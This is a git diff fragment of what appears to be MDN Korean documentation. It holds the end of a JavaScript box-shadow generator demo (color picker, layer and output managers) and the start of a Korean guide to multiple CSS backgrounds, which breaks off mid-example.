+ notify("color", color);
+ }
+
+ var setHueGfx = function setHueGfx(hue) {
+ var sat = color.saturation;
+ var val = color.value;
+ var alpha = color.a;
+
+ color.setHSV(hue, 100, 100);
+ gradient_area.style.backgroundColor = color.getHexa();
+
+ color.a = 0;
+ var start = color.getRGBA();
+ color.a = 1;
+ var end = color.getRGBA();
+ color.a = alpha;
+
+ var gradient = '-moz-linear-gradient(left, ' + start + '0%, ' + end + ' 100%)';
+ alpha_area.style.background = gradient;
+ }
+
+ var updateUI = function updateUI() {
+ var x, y; // coordinates
+ var size; // size of the area
+ var offset; // pointer graphic selector offset
+
+ // Set color pointer location
+ size = gradient_area.clientWidth;
+ offset = gradient_picker.clientWidth / 2 + 2;
+
+ x = (color.saturation * size / 100) | 0;
+ y = size - (color.value * size / 100) | 0;
+
+ gradient_picker.style.left = x - offset + "px";
+ gradient_picker.style.top = y - offset + "px";
+
+ // Set hue pointer location
+ size = hue_area.clientWidth;
+ offset = hue_selector.clientWidth/2;
+ x = (color.hue * size / 360 ) | 0;
+ hue_selector.style.left = x - offset + "px";
+
+ // Set alpha pointer location
+ size = alpha_area.clientWidth;
+ offset = alpha_selector.clientWidth/2;
+ x = (color.a * size) | 0;
+ alpha_selector.style.left = x - offset + "px";
+
+ // Set picker area background
+ var nc = new Color();
+ nc.copy(color);
+ if (nc.hue === 360) nc.hue = 0;
+ nc.setHSV(nc.hue, 100, 100);
+ gradient_area.style.backgroundColor = nc.getHexa();
+
+ // Set alpha area background
+ nc.copy(color);
+ nc.a = 0;
+ var start = nc.getRGBA();
+ nc.a = 1;
+ var end = nc.getRGBA();
+ var gradient = '-moz-linear-gradient(left, ' + start + '0%, ' + end + ' 100%)';
+ alpha_area.style.background = gradient;
+
+ // Update color info
+ notify("color", color);
+ notify("hue", color.hue);
+ notify("saturation", color.saturation);
+ notify("value", color.value);
+ notify("r", color.r);
+ notify("g", color.g);
+ notify("b", color.b);
+ notify("a", color.a);
+ notify("hexa", color.getHexa());
+ output_color.style.backgroundColor = color.getRGBA();
+ }
+
+ var setInputComponent = function setInputComponent(node) {
+ var topic = node.getAttribute('data-topic');
+ var title = node.getAttribute('data-title');
+ var action = node.getAttribute('data-action');
+ title = title === null ? '' : title;
+
+ var input = document.createElement('input');
+ var info = document.createElement('span');
+ info.textContent = title;
+
+ input.setAttribute('type', 'text');
+ input.setAttribute('data-action', 'set-' + action + '-' + topic);
+ node.appendChild(info);
+ node.appendChild(input);
+
+ input.addEventListener('click', function(e) {
+ this.select();
+ });
+
+ input.addEventListener('change', function(e) {
+ if (action === 'HSV')
+ inputChangeHSV(topic);
+ if (action === 'RGB')
+ inputChangeRGB(topic);
+ if (action === 'alpha')
+ inputChangeAlpha(topic);
+ if (action === 'hexa')
+ inputChangeHexa(topic);
+ });
+
+ subscribe(topic, function(value) {
+ node.children[1].value = value;
+ });
+ }
+
+ var inputChangeHSV = function actionHSV(topic) {
+ var selector = "[data-action='set-HSV-" + topic + "']";
+ var node = document.querySelector("#colorpicker " + selector);
+ var value = parseInt(node.value);
+
+ if (typeof value === 'number' &amp;&amp; isNaN(value) === false &amp;&amp;
+ value &gt;= 0 &amp;&amp; value &lt; 360)
+ color[topic] = value;
+
+ color.updateRGB();
+ updateUI();
+ }
+
+ var inputChangeRGB = function inputChangeRGB(topic) {
+ var selector = "[data-action='set-RGB-" + topic + "']";
+ var node = document.querySelector("#colorpicker " + selector);
+ var value = parseInt(node.value);
+
+ if (typeof value === 'number' &amp;&amp; isNaN(value) === false &amp;&amp;
+ value &gt;= 0 &amp;&amp; value &lt;= 255)
+ color[topic] = value;
+
+ color.updateHSV();
+ updateUI();
+ }
+
+ var inputChangeAlpha = function inputChangeAlpha(topic) {
+ var selector = "[data-action='set-alpha-" + topic + "']";
+ var node = document.querySelector("#colorpicker " + selector);
+ var value = parseFloat(node.value);
+
+ if (typeof value === 'number' &amp;&amp; isNaN(value) === false &amp;&amp;
+ value &gt;= 0 &amp;&amp; value &lt;= 1)
+ color.a = value.toFixed(2);
+
+ updateUI();
+ }
+
+ var inputChangeHexa = function inputChangeHexa(topic) {
+ var selector = "[data-action='set-hexa-" + topic + "']";
+ var node = document.querySelector("#colorpicker " + selector);
+ var value = node.value;
+ color.setHexa(value);
+ color.updateHSV();
+ updateUI();
+ }
+
+ var setMouseTracking = function setMouseTracking(elem, callback) {
+
+ elem.addEventListener("mousedown", function(e) {
+ callback(e);
+ document.addEventListener("mousemove", callback);
+ });
+
+ document.addEventListener("mouseup", function(e) {
+ document.removeEventListener("mousemove", callback);
+ });
+ }
+
+ /*
+ * Observer
+ */
+ var setColor = function setColor(obj) {
+ if(obj instanceof Color !== true) {
+ console.log("Typeof instance not Color");
+ return;
+ }
+ color.copy(obj);
+ updateUI();
+ }
+
+ var subscribe = function subscribe(topic, callback) {
+ if (subscribers[topic] === undefined)
+ subscribers[topic] = [];
+
+ subscribers[topic].push(callback);
+ }
+
+ var unsubscribe = function unsubscribe(callback) {
+ subscribers.indexOf(callback);
+ subscribers.splice(index, 1);
+ }
+
+ var notify = function notify(topic, value) {
+ for (var i in subscribers[topic])
+ subscribers[topic][i](value);
+ }
+
+ var init = function init() {
+ colorpicker = getElemById("colorpicker");
+ hue_area = getElemById("hue");
+ gradient_area = getElemById("gradient");
+ alpha_area = getElemById("alpha");
+ gradient_picker = getElemById("gradient_picker");
+ hue_selector = getElemById("hue_selector");
+ alpha_selector = getElemById("alpha_selector");
+ output_color = getElemById("output_color");
+
+ var elem = document.querySelectorAll('#colorpicker .input');
+ var size = elem.length;
+ for (var i = 0; i &lt; size; i++)
+ setInputComponent(elem[i]);
+
+ setMouseTracking(gradient_area, updateColor);
+ setMouseTracking(hue_area, updateHue);
+ setMouseTracking(alpha_area, updateAlpha);
+
+ }
+
+ return {
+ init : init,
+ setColor : setColor,
+ subscribe : subscribe,
+ unsubscribe : unsubscribe
+ }
+
+ })();
+
+ /**
+ * Shadow dragging
+ */
+ var PreviewMouseTracking = (function Drag() {
+ var active = false;
+ var lastX = 0;
+ var lastY = 0;
+ var subscribers = [];
+
+ var init = function init(id) {
+ var elem = getElemById(id);
+ elem.addEventListener('mousedown', dragStart, false);
+ document.addEventListener('mouseup', dragEnd, false);
+ }
+
+ var dragStart = function dragStart(e) {
+ if (e.button !== 0)
+ return;
+
+ active = true;
+ lastX = e.clientX;
+ lastY = e.clientY;
+ document.addEventListener('mousemove', mouseDrag, false);
+ }
+
+ var dragEnd = function dragEnd(e) {
+ if (e.button !== 0)
+ return;
+
+ if (active === true) {
+ active = false;
+ document.removeEventListener('mousemove', mouseDrag, false);
+ }
+ }
+
+ var mouseDrag = function mouseDrag(e) {
+ notify(e.clientX - lastX, e.clientY - lastY);
+ lastX = e.clientX;
+ lastY = e.clientY;
+ }
+
+ var subscribe = function subscribe(callback) {
+ subscribers.push(callback);
+ }
+
+ var unsubscribe = function unsubscribe(callback) {
+ var index = subscribers.indexOf(callback);
+ subscribers.splice(index, 1);
+ }
+
+ var notify = function notify(deltaX, deltaY) {
+ for (var i in subscribers)
+ subscribers[i](deltaX, deltaY);
+ }
+
+ return {
+ init : init,
+ subscribe : subscribe,
+ unsubscribe : unsubscribe
+ }
+
+ })();
+
+ /*
+ * Element Class
+ */
+ var CssClass = function CssClass(id) {
+ this.left = 0;
+ this.top = 0;
+ this.rotate = 0;
+ this.width = 300;
+ this.height = 100;
+ this.display = true;
+ this.border = true;
+ this.zIndex = -1;
+ this.bgcolor = new Color();
+ this.id = id;
+ this.node = getElemById('obj-' + id);
+ this.object = getElemById(id);
+ this.shadowID = null;
+ this.shadows = []
+ this.render = [];
+ this.init();
+ }
+
+ CssClass.prototype.init = function init() {
+ this.left = ((this.node.parentNode.clientWidth - this.node.clientWidth) / 2) | 0;
+ this.top = ((this.node.parentNode.clientHeight - this.node.clientHeight) / 2) | 0;
+
+ this.setTop(this.top);
+ this.setLeft(this.left);
+ this.setHeight(this.height);
+ this.setWidth(this.width);
+ this.bgcolor.setHSV(0, 0, 100);
+ this.updateBgColor(this.bgcolor);
+ }
+
+ CssClass.prototype.updatePos = function updatePos(deltaX, deltaY) {
+ this.left += deltaX;
+ this.top += deltaY;
+ this.node.style.top = this.top + "px";
+ this.node.style.left = this.left + "px";
+ SliderManager.setValue("left", this.left);
+ SliderManager.setValue("top", this.top);
+ }
+
+ CssClass.prototype.setLeft = function setLeft(value) {
+ this.left = value;
+ this.node.style.left = this.left + "px";
+ OutputManager.updateProperty(this.id, 'left', this.left + 'px');
+ }
+
+ CssClass.prototype.setTop = function setTop(value) {
+ this.top = value;
+ this.node.style.top = this.top + 'px';
+ OutputManager.updateProperty(this.id, 'top', this.top + 'px');
+ }
+
+ CssClass.prototype.setWidth = function setWidth(value) {
+ this.width = value;
+ this.node.style.width = this.width + 'px';
+ OutputManager.updateProperty(this.id, 'width', this.width + 'px');
+ }
+
+ CssClass.prototype.setHeight = function setHeight(value) {
+ this.height = value;
+ this.node.style.height = this.height + 'px';
+ OutputManager.updateProperty(this.id, 'height', this.height + 'px');
+ }
+
+ // Browser support
+ CssClass.prototype.setRotate = function setRotate(value) {
+ var cssvalue = 'rotate(' + value +'deg)';
+
+ this.node.style.transform = cssvalue;
+ this.node.style.webkitTransform = cssvalue;
+ this.node.style.msTransform = cssvalue;
+
+ if (value !== 0) {
+ if (this.rotate === 0) {
+ OutputManager.toggleProperty(this.id, 'transform', true);
+ OutputManager.toggleProperty(this.id, '-webkit-transform', true);
+ OutputManager.toggleProperty(this.id, '-ms-transform', true);
+ }
+ }
+ else {
+ OutputManager.toggleProperty(this.id, 'transform', false);
+ OutputManager.toggleProperty(this.id, '-webkit-transform', false);
+ OutputManager.toggleProperty(this.id, '-ms-transform', false);
+ }
+
+ OutputManager.updateProperty(this.id, 'transform', cssvalue);
+ OutputManager.updateProperty(this.id, '-webkit-transform', cssvalue);
+ OutputManager.updateProperty(this.id, '-ms-transform', cssvalue);
+ this.rotate = value;
+ }
+
+ CssClass.prototype.setzIndex = function setzIndex(value) {
+ this.node.style.zIndex = value;
+ OutputManager.updateProperty(this.id, 'z-index', value);
+ this.zIndex = value;
+ }
+
+ CssClass.prototype.toggleDisplay = function toggleDisplay(value) {
+ if (typeof value !== "boolean" || this.display === value)
+ return;
+
+ this.display = value;
+ var display = this.display === true ? "block" : "none";
+ this.node.style.display = display;
+ this.object.style.display = display;
+ }
+
+ CssClass.prototype.toggleBorder = function toggleBorder(value) {
+ if (typeof value !== "boolean" || this.border === value)
+ return;
+
+ this.border = value;
+ var border = this.border === true ? "1px solid #CCC" : "none";
+ this.node.style.border = border;
+ }
+
+ CssClass.prototype.updateBgColor = function updateBgColor(color) {
+ this.bgcolor.copy(color);
+ this.node.style.backgroundColor = color.getColor();
+ OutputManager.updateProperty(this.id, 'background-color', color.getColor());
+ }
+
+ CssClass.prototype.updateShadows = function updateShadows() {
+ if (this.render.length === 0)
+ OutputManager.toggleProperty(this.id, 'box-shadow', false);
+ if (this.render.length === 1)
+ OutputManager.toggleProperty(this.id, 'box-shadow', true);
+
+ this.node.style.boxShadow = this.render.join(", ");
+ OutputManager.updateProperty(this.id, 'box-shadow', this.render.join(", \n"));
+
+ }
+
+
+ /**
+ * Tool Manager
+ */
+ var Tool = (function Tool() {
+
+ var preview;
+ var classes = [];
+ var active = null;
+ var animate = false;
+
+ /*
+ * Toll actions
+ */
+ var addCssClass = function addCssClass(id) {
+ classes[id] = new CssClass(id);
+ }
+
+ var setActiveClass = function setActiveClass(id) {
+ active = classes[id];
+ active.shadowID = null;
+ ColoPicker.setColor(classes[id].bgcolor);
+ SliderManager.setValue("top", active.top);
+ SliderManager.setValue("left", active.left);
+ SliderManager.setValue("rotate", active.rotate);
+ SliderManager.setValue("z-index", active.zIndex);
+ SliderManager.setValue("width", active.width);
+ SliderManager.setValue("height", active.height);
+ ButtonManager.setValue("border-state", active.border);
+ active.updateShadows();
+ }
+
+ var disableClass = function disableClass(topic) {
+ classes[topic].toggleDisplay(false);
+ ButtonManager.setValue(topic, false);
+ }
+
+ var addShadow = function addShadow(position) {
+ if (animate === true)
+ return -1;
+
+ active.shadows.splice(position, 0, new Shadow());
+ active.render.splice(position, 0, null);
+ }
+
+ var swapShadow = function swapShadow(id1, id2) {
+ var x = active.shadows[id1];
+ active.shadows[id1] = active.shadows[id2];
+ active.shadows[id2] = x;
+ updateShadowCSS(id1);
+ updateShadowCSS(id2);
+ }
+
+ var deleteShadow = function deleteShadow(position) {
+ active.shadows.splice(position, 1);
+ active.render.splice(position, 1);
+ active.updateShadows();
+ }
+
+ var setActiveShadow = function setActiveShadow(id, glow) {
+ active.shadowID = id;
+ ColoPicker.setColor(active.shadows[id].color);
+ ButtonManager.setValue("inset", active.shadows[id].inset);
+ SliderManager.setValue("blur", active.shadows[id].blur);
+ SliderManager.setValue("spread", active.shadows[id].spread);
+ SliderManager.setValue("posX", active.shadows[id].posX);
+ SliderManager.setValue("posY", active.shadows[id].posY);
+ if (glow === true)
+ addGlowEffect(id);
+ }
+
+ var addGlowEffect = function addGlowEffect(id) {
+ if (animate === true)
+ return;
+
+ animate = true;
+ var store = new Shadow();
+ var shadow = active.shadows[id];
+
+ store.copy(shadow);
+ shadow.color.setRGBA(40, 125, 200, 1);
+ shadow.blur = 10;
+ shadow.spread = 10;
+
+ active.node.style.transition = "box-shadow 0.2s";
+ updateShadowCSS(id);
+
+ setTimeout(function() {
+ shadow.copy(store);
+ updateShadowCSS(id);
+ setTimeout(function() {
+ active.node.style.removeProperty("transition");
+ animate = false;
+ }, 100);
+ }, 200);
+ }
+
+ var updateActivePos = function updateActivePos(deltaX, deltaY) {
+ if (active.shadowID === null)
+ active.updatePos(deltaX, deltaY);
+ else
+ updateShadowPos(deltaX, deltaY);
+ }
+
+ /*
+ * Shadow properties
+ */
+ var updateShadowCSS = function updateShadowCSS(id) {
+ active.render[id] = active.shadows[id].computeCSS();
+ active.updateShadows();
+ }
+
+ var toggleShadowInset = function toggleShadowInset(value) {
+ if (active.shadowID === null)
+ return;
+ active.shadows[active.shadowID].toggleInset(value);
+ updateShadowCSS(active.shadowID);
+ }
+
+ var updateShadowPos = function updateShadowPos(deltaX, deltaY) {
+ var shadow = active.shadows[active.shadowID];
+ shadow.posX += deltaX;
+ shadow.posY += deltaY;
+ SliderManager.setValue("posX", shadow.posX);
+ SliderManager.setValue("posY", shadow.posY);
+ updateShadowCSS(active.shadowID);
+ }
+
+ var setShadowPosX = function setShadowPosX(value) {
+ if (active.shadowID === null)
+ return;
+ active.shadows[active.shadowID].posX = value;
+ updateShadowCSS(active.shadowID);
+ }
+
+ var setShadowPosY = function setShadowPosY(value) {
+ if (active.shadowID === null)
+ return;
+ active.shadows[active.shadowID].posY = value;
+ updateShadowCSS(active.shadowID);
+ }
+
+ var setShadowBlur = function setShadowBlur(value) {
+ if (active.shadowID === null)
+ return;
+ active.shadows[active.shadowID].blur = value;
+ updateShadowCSS(active.shadowID);
+ }
+
+ var setShadowSpread = function setShadowSpread(value) {
+ if (active.shadowID === null)
+ return;
+ active.shadows[active.shadowID].spread = value;
+ updateShadowCSS(active.shadowID);
+ }
+
+ var updateShadowColor = function updateShadowColor(color) {
+ active.shadows[active.shadowID].color.copy(color);
+ updateShadowCSS(active.shadowID);
+ }
+
+ /*
+ * Element Properties
+ */
+ var updateColor = function updateColor(color) {
+ if (active.shadowID === null)
+ active.updateBgColor(color);
+ else
+ updateShadowColor(color);
+ }
+
+ var init = function init() {
+ preview = getElemById("preview");
+
+ ColoPicker.subscribe("color", updateColor);
+ PreviewMouseTracking.subscribe(updateActivePos);
+
+ // Affects shadows
+ ButtonManager.subscribe("inset", toggleShadowInset);
+ SliderManager.subscribe("posX", setShadowPosX);
+ SliderManager.subscribe("posY", setShadowPosY);
+ SliderManager.subscribe("blur", setShadowBlur);
+ SliderManager.subscribe("spread", setShadowSpread);
+
+ // Affects element
+ SliderManager.subscribe("top", function(value){
+ active.setTop(value);
+ });
+ SliderManager.subscribe("left", function(value){
+ active.setLeft(value);
+ });
+ SliderManager.subscribe("rotate", function(value) {
+ if (active == classes["element"])
+ return;
+ active.setRotate(value);
+ });
+
+ SliderManager.subscribe("z-index", function(value) {
+ if (active == classes["element"])
+ return;
+ active.setzIndex(value);
+ });
+
+ SliderManager.subscribe("width", function(value) {
+ active.setWidth(value)
+ });
+
+ SliderManager.subscribe("height", function(value) {
+ active.setHeight(value)
+ });
+
+ // Actions
+ classes['before'].top = -30;
+ classes['before'].left = -30;
+ classes['after'].top = 30;
+ classes['after'].left = 30;
+ classes['before'].toggleDisplay(false);
+ classes['after'].toggleDisplay(false);
+ ButtonManager.setValue('before', false);
+ ButtonManager.setValue('after', false);
+
+ ButtonManager.subscribe("before", classes['before'].toggleDisplay.bind(classes['before']));
+ ButtonManager.subscribe("after", classes['after'].toggleDisplay.bind(classes['after']));
+
+ ButtonManager.subscribe("border-state", function(value) {
+ active.toggleBorder(value);
+ });
+
+ }
+
+ return {
+ init : init,
+ addShadow : addShadow,
+ swapShadow : swapShadow,
+ addCssClass : addCssClass,
+ disableClass : disableClass,
+ deleteShadow : deleteShadow,
+ setActiveClass : setActiveClass,
+ setActiveShadow : setActiveShadow
+ }
+
+ })();
+
+ /**
+ * Layer Manager
+ */
+ var LayerManager = (function LayerManager() {
+ var stacks = [];
+ var active = {
+ node : null,
+ stack : null
+ }
+ var elements = {};
+
+ var mouseEvents = function mouseEvents(e) {
+ var node = e.target;
+ var type = node.getAttribute('data-type');
+
+ if (type === 'subject')
+ setActiveStack(stacks[node.id]);
+
+ if (type === 'disable') {
+ Tool.disableClass(node.parentNode.id);
+ setActiveStack(stacks['element']);
+ }
+
+ if (type === 'add')
+ active.stack.addLayer();
+
+ if (type === 'layer')
+ active.stack.setActiveLayer(node);
+
+ if (type === 'delete')
+ active.stack.deleteLayer(node.parentNode);
+
+ if (type === 'move-up')
+ active.stack.moveLayer(1);
+
+ if (type === 'move-down')
+ active.stack.moveLayer(-1);
+ }
+
+ var setActiveStack = function setActiveStack(stackObj) {
+ active.stack.hide();
+ active.stack = stackObj;
+ active.stack.show();
+ }
+
+ /*
+ * Stack object
+ */
+ var Stack = function Stack(subject) {
+ var S = document.createElement('div');
+ var title = document.createElement('div');
+ var stack = document.createElement('div');
+
+ S.className = 'container';
+ stack.className = 'stack';
+ title.className = 'title';
+ title.textContent = subject.getAttribute('data-title');
+ S.appendChild(title);
+ S.appendChild(stack);
+
+ this.id = subject.id;
+ this.container = S;
+ this.stack = stack;
+ this.subject = subject;
+ this.order = [];
+ this.uid = 0;
+ this.count = 0;
+ this.layer = null;
+ this.layerID = 0;
+ }
+
+ Stack.prototype.addLayer = function addLayer() {
+ if (Tool.addShadow(this.layerID) == -1)
+ return;
+
+ var uid = this.getUID();
+ var layer = this.createLayer(uid);
+
+ if (this.layer === null &amp;&amp; this.stack.children.length &gt;= 1)
+ this.layer = this.stack.children[0];
+
+ this.stack.insertBefore(layer, this.layer);
+ this.order.splice(this.layerID, 0, uid);
+ this.count++;
+ this.setActiveLayer(layer);
+ }
+
+ Stack.prototype.createLayer = function createLayer(uid) {
+ var layer = document.createElement('div');
+ var del = document.createElement('span');
+
+ layer.className = 'node';
+ layer.setAttribute('data-shid', uid);
+ layer.setAttribute('data-type', 'layer');
+ layer.textContent = 'shadow ' + uid;
+
+ del.className = 'delete';
+ del.setAttribute('data-type', 'delete');
+
+ layer.appendChild(del);
+ return layer;
+ }
+
+ Stack.prototype.getUID = function getUID() {
+ return this.uid++;
+ }
+
+ // SOLVE IE BUG
+ Stack.prototype.moveLayer = function moveLayer(direction) {
+ if (this.count &lt;= 1 || this.layer === null)
+ return;
+ if (direction === -1 &amp;&amp; this.layerID === (this.count - 1) )
+ return;
+ if (direction === 1 &amp;&amp; this.layerID === 0 )
+ return;
+
+ if (direction === -1) {
+ var before = null;
+ Tool.swapShadow(this.layerID, this.layerID + 1);
+ this.swapOrder(this.layerID, this.layerID + 1);
+ this.layerID += 1;
+
+ if (this.layerID + 1 !== this.count)
+ before = this.stack.children[this.layerID + 1];
+
+ this.stack.insertBefore(this.layer, before);
+ Tool.setActiveShadow(this.layerID, false);
+ }
+
+ if (direction === 1) {
+ Tool.swapShadow(this.layerID, this.layerID - 1);
+ this.swapOrder(this.layerID, this.layerID - 1);
+ this.layerID -= 1;
+ this.stack.insertBefore(this.layer, this.stack.children[this.layerID]);
+ Tool.setActiveShadow(this.layerID, false);
+ }
+ }
+
+ Stack.prototype.swapOrder = function swapOrder(pos1, pos2) {
+ var x = this.order[pos1];
+ this.order[pos1] = this.order[pos2];
+ this.order[pos2] = x;
+ }
+
+ Stack.prototype.deleteLayer = function deleteLayer(node) {
+ var shadowID = node.getAttribute('data-shid') | 0;
+ var index = this.order.indexOf(shadowID);
+ this.stack.removeChild(this.stack.children[index]);
+ this.order.splice(index, 1);
+ this.count--;
+
+ Tool.deleteShadow(index);
+
+ if (index &gt; this.layerID)
+ return;
+
+ if (index == this.layerID) {
+ if (this.count &gt;= 1) {
+ this.layerID = 0;
+ this.setActiveLayer(this.stack.children[0], true);
+ }
+ else {
+ this.layer = null;
+ this.show();
+ }
+ }
+
+ if (index &lt; this.layerID) {
+ this.layerID--;
+ Tool.setActiveShadow(this.layerID, true);
+ }
+
+ }
+
+ Stack.prototype.setActiveLayer = function setActiveLayer(node) {
+ elements.shadow_properties.style.display = 'block';
+ elements.element_properties.style.display = 'none';
+
+ if (this.layer)
+ this.layer.removeAttribute('data-active');
+
+ this.layer = node;
+ this.layer.setAttribute('data-active', 'layer');
+
+ var shadowID = node.getAttribute('data-shid') | 0;
+ this.layerID = this.order.indexOf(shadowID);
+ Tool.setActiveShadow(this.layerID, true);
+ }
+
+ Stack.prototype.unsetActiveLayer = function unsetActiveLayer() {
+ if (this.layer)
+ this.layer.removeAttribute('data-active');
+
+ this.layer = null;
+ this.layerID = 0;
+ }
+
+ Stack.prototype.hide = function hide() {
+ this.unsetActiveLayer();
+ this.subject.removeAttribute('data-active');
+ var style = this.container.style;
+ style.left = '100%';
+ style.zIndex = '0';
+ }
+
+ Stack.prototype.show = function show() {
+ elements.shadow_properties.style.display = 'none';
+ elements.element_properties.style.display = 'block';
+
+ if (this.id === 'element') {
+ elements.zIndex.style.display = 'none';
+ elements.transform_rotate.style.display = 'none';
+ }
+ else {
+ elements.zIndex.style.display = 'block';
+ elements.transform_rotate.style.display = 'block';
+ }
+
+ this.subject.setAttribute('data-active', 'subject');
+ var style = this.container.style;
+ style.left = '0';
+ style.zIndex = '10';
+ Tool.setActiveClass(this.id);
+ }
+
+ function init() {
+
+ var elem, size;
+ var layerManager = getElemById("layer_manager");
+ var layerMenu = getElemById("layer_menu");
+ var container = getElemById("stack_container");
+
+ elements.shadow_properties = getElemById('shadow_properties');
+ elements.element_properties = getElemById('element_properties');
+ elements.transform_rotate = getElemById('transform_rotate');
+ elements.zIndex = getElemById('z-index');
+
+ elem = document.querySelectorAll('#layer_menu [data-type="subject"]');
+ size = elem.length;
+
+ for (var i = 0; i &lt; size; i++) {
+ var S = new Stack(elem[i]);
+ stacks[elem[i].id] = S;
+ container.appendChild(S.container);
+ Tool.addCssClass(elem[i].id);
+ }
+
+ active.stack = stacks['element'];
+ stacks['element'].show();
+
+ layerManager.addEventListener("click", mouseEvents);
+ layerMenu.addEventListener("click", mouseEvents);
+
+ ButtonManager.subscribe("before", function(value) {
+ if (value === false &amp;&amp; active.stack === stacks['before'])
+ setActiveStack(stacks['element'])
+ if (value === true &amp;&amp; active.stack !== stacks['before'])
+ setActiveStack(stacks['before'])
+ });
+
+ ButtonManager.subscribe("after", function(value) {
+ if (value === false &amp;&amp; active.stack === stacks['after'])
+ setActiveStack(stacks['element'])
+ if (value === true &amp;&amp; active.stack !== stacks['after'])
+ setActiveStack(stacks['after'])
+ });
+ }
+
+ return {
+ init : init
+ }
+ })();
+
+ /*
+ * OutputManager
+ */
+ var OutputManager = (function OutputManager() {
+ var classes = [];
+ var buttons = [];
+ var active = null;
+ var menu = null;
+ var button_offset = 0;
+
+ var crateOutputNode = function(topic, property) {
+
+ var prop = document.createElement('div');
+ var name = document.createElement('span');
+ var value = document.createElement('span');
+
+ var pmatch = property.match(/(^([a-z0-9\-]*)=\[([a-z0-9\-\"]*)\])|^([a-z0-9\-]*)/i);
+
+ name.textContent = '\t' + pmatch[4];
+
+ if (pmatch[3] !== undefined) {
+ name.textContent = '\t' + pmatch[2];
+ value.textContent = pmatch[3] + ';';
+ }
+
+ name.textContent += ': ';
+ prop.className = 'css-property';
+ name.className = 'name';
+ value.className = 'value';
+ prop.appendChild(name);
+ prop.appendChild(value);
+
+ classes[topic].node.appendChild(prop);
+ classes[topic].line[property] = prop;
+ classes[topic].prop[property] = value;
+ }
+
+ var OutputClass = function OutputClass(node) {
+ var topic = node.getAttribute('data-topic');
+ var prop = node.getAttribute('data-prop');
+ var name = node.getAttribute('data-name');
+ var properties = prop.split(' ');
+
+ classes[topic] = {};
+ classes[topic].node = node;
+ classes[topic].prop = [];
+ classes[topic].line = [];
+ classes[topic].button = new Button(topic);
+
+ var open_decl = document.createElement('div');
+ var end_decl = document.createElement('div');
+
+ open_decl.textContent = name + ' {';
+ end_decl.textContent = '}';
+ node.appendChild(open_decl);
+
+ for (var i in properties)
+ crateOutputNode(topic, properties[i]);
+
+ node.appendChild(end_decl);
+ }
+
+ var Button = function Button(topic) {
+ var button = document.createElement('div');
+
+ button.className = 'button';
+ button.textContent = topic;
+ button.style.left = button_offset + 'px';
+ button_offset += 100;
+
+ button.addEventListener("click", function() {
+ toggleDisplay(topic);
+ })
+
+ menu.appendChild(button);
+ return button;
+ }
+
+ var toggleDisplay = function toggleDisplay(topic) {
+ active.button.removeAttribute('data-active');
+ active.node.style.display = 'none';
+ active = classes[topic];
+ active.node.style.display = 'block';
+ active.button.setAttribute('data-active', 'true');
+ }
+
+ var toggleButton = function toggleButton(topic, value) {
+ var display = (value === true) ? 'block' : 'none';
+ classes[topic].button.style.display = display;
+
+ if (value === true)
+ toggleDisplay(topic);
+ else
+ toggleDisplay('element');
+ }
+
+ var updateProperty = function updateProperty(topic, property, data) {
+ try {
+ classes[topic].prop[property].textContent = data + ';';
+ }
+ catch(error) {
+ // console.log("ERROR undefined : ", topic, property, data);
+ }
+ }
+
+ var toggleProperty = function toggleProperty(topic, property, value) {
+ var display = (value === true) ? 'block' : 'none';
+ try {
+ classes[topic].line[property].style.display = display;
+ }
+ catch(error) {
+ // console.log("ERROR undefined : ",classes, topic, property, value);
+ }
+ }
+
+ var init = function init() {
+
+ menu = getElemById('menu');
+
+ var elem = document.querySelectorAll('#output .output');
+ var size = elem.length;
+ for (var i = 0; i &lt; size; i++)
+ OutputClass(elem[i]);
+
+ active = classes['element'];
+ toggleDisplay('element');
+
+ ButtonManager.subscribe("before", function(value) {
+ toggleButton('before', value);
+ });
+
+ ButtonManager.subscribe("after", function(value) {
+ toggleButton('after', value);
+ });
+ }
+
+ return {
+ init : init,
+ updateProperty : updateProperty,
+ toggleProperty : toggleProperty
+ }
+
+ })();
+
+
+ /**
+ * Init Tool
+ */
+ var init = function init() {
+ ButtonManager.init();
+ OutputManager.init();
+ ColoPicker.init();
+ SliderManager.init();
+ LayerManager.init();
+ PreviewMouseTracking.init("preview");
+ Tool.init();
+ }
+
+ return {
+ init : init
+ }
+
+})();
+
+
+</code></pre>
+</div>
+
+<div>{{ EmbedLiveSample('box-shadow_generator', '100%', '1100px', '') }}</div>
diff --git a/files/ko/web/css/css_background_and_borders/using_css_multiple_backgrounds/index.html b/files/ko/web/css/css_background_and_borders/using_css_multiple_backgrounds/index.html
new file mode 100644
index 0000000000..73d1758964
--- /dev/null
+++ b/files/ko/web/css/css_background_and_borders/using_css_multiple_backgrounds/index.html
@@ -0,0 +1,55 @@
+---
+title: 여러개의 배경 지정하기
+slug: Web/CSS/CSS_Background_and_Borders/Using_CSS_multiple_backgrounds
+tags:
+ - CSS
+ - CSS Background
+ - Example
+ - Guide
+ - Intermediate
+translation_of: Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds
+---
+<p>{{CSSRef}}</p>
+
+<p><a href="/ko/CSS" title="CSS3">CSS3</a>를 사용하면 엘리먼트에 <strong>여러개의 배경</strong>을 지정할 수 있다. 첫 번째로 지정한 배경이 가장 앞에 보이고 나중에 지정한 배경이 뒤에 보인다. 배경 색상({{ cssxref("color") }})는 맨 마지막에만 지정할 수 있다. </p>
+
+<p>여러개의 배경을 지정하는건 간단하다.</p>
+
+<pre class="brush: css">.myclass {
+  background: background1, background 2, ..., backgroundN;
+}
+</pre>
+
+<p>배경에 관련된 다른 속성들은 {{ cssxref("background") }} 속성에 한꺼번에 지정할 수도 있고 리스트 형태로 각각 지정할 수도 있다.  하지만  {{ cssxref("background-color") }} 속성은 리스트 형태로 지정할 수 없다. 다음과 같은 속성들은 리스트 형태로 동시에 여러개 지정할 수 있다.  {{ cssxref("background") }}, {{ cssxref("background-attachment") }}, {{ cssxref("background-clip") }},<code> </code>{{ cssxref("background-image") }}, {{ cssxref("background-origin") }}, {{ cssxref("background-position") }}, {{ cssxref("background-repeat") }}, {{ cssxref("background-size") }}</p>
+
+<h2 id="예제">예제</h2>
+
+<p>이 예제에서는 파이어포스 로고, 선형 그라디언트, 꽃이 그려진 사진을 한 엘리먼트에 적용해본다. </p>
+
+<pre class="brush: css">.multi_bg_example {
+ background: url(http://demos.hacks.mozilla.org/openweb/resources/images/logos/firefox-48.png),
+        linear-gradient(to right, rgba(255, 255, 255, 0), rgba(255, 255, 255, 1)),
+        url(http://demos.hacks.mozilla.org/openweb/resources/images/patterns/flowers-pattern.jpg);
+ background-repeat: no-repeat, no-repeat, repeat;
